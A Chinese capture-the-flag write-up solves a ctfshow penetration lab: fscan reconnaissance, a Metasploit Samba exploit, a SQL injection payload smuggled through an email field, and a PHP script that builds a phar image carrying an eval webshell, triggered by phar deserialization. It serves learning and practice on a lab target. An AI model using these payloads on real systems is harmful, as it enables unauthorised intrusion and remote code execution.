这是一道ctfshow上面的渗透题,来自2023年2月的RealWorldCTF渗透赛环境,提供了跳板机,这里来打一打学习一下。

信息搜集

image-20240424211510425

先用Termius连接跳板机,然后使用如下命令获得一个交互式shell方便一点

sudo -s #切换到root用户
python3 -c "import pty;pty.spawn('/bin/bash')" #获得交互式shell

image-20240424211734391

然后上传fscan上去扫一下,这里先用Termius的sftp发现传不了失败了

但是可以用scp来传

scp命令 用于在Linux下进行远程拷贝文件的命令,和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且scp传输是加密的。

scp -P 28260 fscan_amd64 ctfshow@pwn.challenge.ctf.show:/tmp #将fscan上传到/tmp目录下面

image-20240424212509835

然后进行扫描看看

./fscan_amd64 -h 172.2.90.0/24 > fscan.txt #保存到文件下面方便查看

这是扫描结果

image-20240424214452168

然后再单独扫一下172.2.90.5 这个地址

./fscan_amd64 -h 172.2.90.5 

image-20240424215304938

看上去是有个cve的样子,然后结合上面172.2.90.6还开放了445和139这两个共享端口,172.2.90.6用的系统是Windows6.1,172.2.90.5还开放了一个9000端口,信息搜集大概就这么多。

开始渗透

尝试对139和445端口渗透

先针对上面的139和445这两个常见的危险端口进行渗透,msf有相关的利用模块,该跳板机已经给我们配置了msf

445端口存在smb服务

search ms17_010  #msf搜索一下相关模块

image-20240424220514692

先使用扫描模块对靶机进行扫描

use auxiliary/scanner/smb/smb_ms17_010
set rhost 172.2.90.6
run

image-20240424220815110

emmm似乎没有漏洞

那换一个139端口看看,139端口存在samba服务

那再用exp打一下这个端口看看

search samba

image-20240424221712993

use exploit/linux/samba/is_known_pipename
set rhost 172.2.90.6
exploit

image-20240424222007305

然后在root下面看到flag

image-20240424222049190

看看web页面

很奇怪上面一下子就打出来flag有点容易(

那就来看一下web页面吧,顺便学学ssh隧道,一开始想用frp代理但是不出网

做一个ssh隧道转发

#ssh -CfNg -L (本地端口):(目标主机ip):(目标主机端口) (跳板机用户名)@(跳板机ip) -p (跳板机端口)
ssh -CfNg -L 80:172.2.90.5:80 ctfshow@pwn.challenge.ctf.show -p 28260

额怪了一直说识别不了主机

image-20240424231544798

最后用termius的port forwarding做了一个ssh隧道映射到本地的8081端口

image-20240427011859538

然后访问本地的8081端口即可

image-20240427011939005

然后点击下图的位置会跳到该项目的gitee仓库,里面有源码,可以下载下来代码审计

image-20240427012117285

代码审计

image-20240427013405249

看了前端的页面我们可以知道他会向api/index.php发送请求,我们去看一下api目录

image-20240427013625445

发现有三个文件

config.php

image-20240427013705919

数据库名、用户名、密码我们都知道了,可以考虑一下注入或者能不能登陆后台

index.php

public function doAction(){

$action = $_GET['a'] ?? "login";

switch ($action) {
case 'login':
$this->doLogin();
break;
case 'reset':
$this->doReset();
break;
case 'view':
$this->doView();
break;
default:
$this->doDefault();
break;
}
}

image-20240427014000436

可以得知该系统通过给a传参,根据传参的不同去实现不同的功能,一个功能由一个函数执行

doLogin()功能

首先来审一下登陆区的功能

function doLogin(){

include 'config.php';
$username = $this->doFilter($_POST['username']);
$password = $this->doFilter($_POST['password']);
$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
if(mysqli_connect_errno()){
die(json_encode(array(mysqli_connect_error())));
}
$conn->query("set name $charName");

$sql = "select password from user where username = '$username' and password = '$password' limit 0,1;";

$result = $conn->query($sql);
$row = $result->fetch_array(MYSQLI_ASSOC);

if($row['password']===$password){
$_SESSION['LOGIN']=true;

}else{
$_SESSION['LOGIN']=false;
$_SESSION['msg']='登陆失败';

}
$conn->close();
$_SESSION['LOGIN']?$this->dispatcher("../ckfinder/ckfinder.html"):$this->dispatcher("../index.php");
}

function doFilter($str){
$str = str_replace("'", "%27", $str);
$str = str_replace("\"", "%22", $str);
$str = str_replace("\\", "%5c", $str);

return $str;
}

这里没有预编译很明显是可以sql注入的,这里对username和password进行了一些过滤,将’、”、\都换成对应的url编码的字符串。然后判断登陆是否成功的逻辑就是,与查询回来对应用户名的password是否相等,若相等则sesson的login参数为true,然后跳转到登陆后的页面。

但是看上去有点难注入,登陆不了admin,看了一下doReset功能没有doFilter过滤,有点机会

function doReset(){
include 'config.php';
$email = filter_input(INPUT_POST, 'email',FILTER_VALIDATE_EMAIL);
$username = $this->doFilter($_POST['username']);
$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
if(mysqli_connect_errno()){
die(json_encode(array(mysqli_connect_error())));
}
$conn->query("set name $charName");

$sql = "select email from user where email = '$email' and username = '$username'";

$result = $conn->query($sql);
$row = $result->fetch_array(MYSQLI_ASSOC);
if($row['email']){
$_SESSION['RESET']=true;
$this->email = $row['email'];
$_SESSION['msg']="你好! 已经将重置密码链接发送至邮箱".$this->email;
}else{
$_SESSION['RESET']=false;
$_SESSION['msg']="邮箱不存在";
}
$conn->close();
$this->dispatcher("../index.php");
}

可以知道我们可以在传email参数时只需要符合邮箱规则就可以随便注入了

'/**/union/**/select/**/password/**/from/**/user#@qq.com

image-20240427102704985

image-20240427102633626

一开始尝试用where想着指定username但是就会弹出邮箱不存在,他这里的用户名是ctfshow我一开始还以为是admin,不过知道了之后带上where还是不行,估计是不符合他函数的邮箱格式,返回NULL了直接。

文件上传

image-20240427103330840

登陆进去之后就是一个经典的后台文件上传,先去看看源码有没有文件上传漏洞

嘶发现源码看不了,传了一个图片文件上去看了一下

image-20240427103952374

去看了一下doView()函数,他的图片应该是放在userfiles的目录下面

function doView(){

$this->checkSession();
$file=str_replace("..","",$_POST['file']);

if(file_exists($file)){

header("Content-type: image/jpeg");
echo file_get_contents("../ckfinder/userfiles/".$file);
}
}

再去抓了个包看了一下,具体的路径如下图

image-20240427110639504

尝试能不能上传.php文件,抓了个包但是发现校验在前端完成,后端做的就是刷新一下这个页面

image-20240427110855204

image-20240427110939934

看来直接传应该是不行了

sendResetMail

再来看一下这个函数

function sendResetMail($mail){
$content = "你好,下面是你的重置密码链接,请复制到浏览器地址栏打开.";
$content.= "http://xxx.com/?token=xxxx&email=$mail";

//功能暂未实现,先保留邮件,以后发送
file_put_contents("../mail_cache/cache.php","<?php exit('$content');?>");

}

这里有一个file_put_contents()函数,看看能不能写码进去,看一下哪里引用了这个函数。

image-20240427104655565

先是clear这里引用了一下,再去看哪里引用了clear

image-20240427105001364

可以看到__wakeup()魔术方法引用了clear,但是再往上找就没有了,想要触发的话就需要反序列化,但是这里也没有反序列化的入口

这时候就可以想到phar了,毕竟我们还有个文件上传的功能,那要怎么触发phar呢,上面看过的doView函数就可以

function doView(){

$this->checkSession();
$file=str_replace("..","",$_POST['file']);

if(file_exists($file)){

header("Content-type: image/jpeg");
echo file_get_contents("../ckfinder/userfiles/".$file);
}
}

幸运的是这里的file参数我们是可控的

那利用条件达成,现在就是生成一个phar文件,后缀改成png或者jpg即可,毕竟phar文件是不以后缀名来辨认了,注意这里还要写一个真的图片文件进去,一开始没写改了后缀还是不行。。。

//phar.php
<?php
class action{
private $email="'.eval(\$_POST[1]));//"; //这样写是为了闭合闭合前面的exit然后注释后面的语句
}
@unlink("web859.phar");
$phar=new Phar("web859.phar");
$phar->startBuffering();
$phar->setStub(file_get_contents('test1.png')."<?php __HALT_COMPILER();?>");//设置stub标志,写一个真的jpg文件进去保证等会能够上传成功
$o=new action();
$phar->setMetadata(array(1,$o));//设置自定义的meta-data
$phar->addFromString("test.txt","hello~");
$phar->stopBuffering();

?>
php -d phar.readonly=0 phar.php

image-20240427115006368

上传成功,现在我们直接去用phar伪协议读取这个图片就可以把我们的码写到../mail_cache/cache.php这个地方了

抓包找到路径

image-20240427115434070

然后去api/index.php

file=phar:///var/www/html/ckfinder/userfiles/web859.png

image-20240427115556308

然后直接蚁剑连接http://127.0.0.1:8081/mail_cache/cache.php即可